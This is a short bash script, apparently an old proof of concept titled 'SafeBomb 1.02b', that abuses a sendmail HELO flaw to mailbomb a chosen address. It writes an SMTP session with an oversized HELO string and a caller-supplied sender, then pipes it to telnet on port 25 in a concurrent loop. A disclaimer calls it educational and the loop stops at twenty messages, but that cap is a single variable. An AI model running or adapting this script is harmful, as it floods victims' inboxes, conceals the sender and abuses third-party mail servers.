
#!/bin/bash
TMPDIR=/tmp/`whoami`
        PLIK=$TMPDIR/.safe
             TIMEOUT=2
                     LIMIT=10
                           MAX=20

                               echo
                               echo "SafeBomb 1.02b -- sendmail HELO hole usage example"
                               echo "Author: Michal Zalewski <lcamtuf@boss.staszic.waw.pl>"
                               echo

                               if [ "$4" = "" ];
then
echo "USAGE: $0 msgfile address server sender"
echo
echo "  msgfile - file to send as a message body"
echo "  address - address of lucky recipient"
echo "  server  - outgoing smtp server w/sendmail"
echo "  sender  - introduce yourself"
echo
echo "WARNING: For educational use ONLY. Mailbombing is illegal."
echo "Think twice BEFORE you use this program in any way. Also,"
echo "I've never said this program is 100% safe nor bug-free."
echo
sleep 1
exit 0
fi

if [ ! -f $1 ];
then
echo "Message file not found."
echo
exit 0
fi

echo -n "Preparing message..."
mkdir $TMPDIR &>/dev/null
chmod 700 $TMPDIR
echo "echo \"helo _safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__sa
febomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__saf
ebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safe
bomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safeb
omb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebo
mb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebom
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
b__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb
__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_
_safebomb__safebomb__safebomb__safebomb__safebomb__safebomb__safebomb_\"" >$PLIK
echo "echo \"mail from: \\\"$4\\\"\"" >>$PLIK
echo "echo \"rcpt to: $2\"" >>$PLIK
echo "echo \"data\"" >>$PLIK
echo "cat <<__qniec__" >>$PLIK
cat $1 >>$PLIK
echo "__qniec__" >>$PLIK
echo "echo \".\"" >>$PLIK
echo "echo \"quit\"" >>$PLIK
echo "sleep $TIMEOUT" >>$PLIK
chmod +x $PLIK
echo "OK"

echo "Sending $1 (as $4) to $2 via $3 -- Ctrl+Z to abort."
SENT=0

     while [ -f $1 ];
do
  $PLIK|telnet $3 25 &>/dev/null &
  let SENT=SENT+1
           echo -ne "Sent: $SENT\b\b\b\b\b\b\b\b\b\b\b\b\b"
           CONNECTED=`ps|grep -c "telnet $3"`
                     if [ "$LIMIT" -le "$CONNECTED" ];
then
while [ "$LIMIT" -le "$CONNECTED" ];
do
  sleep 1
  done
  fi
  if [ "$SENT" -ge "$MAX" ];
then
echo "It's just an example, sorry."
echo
exit 0
fi
done
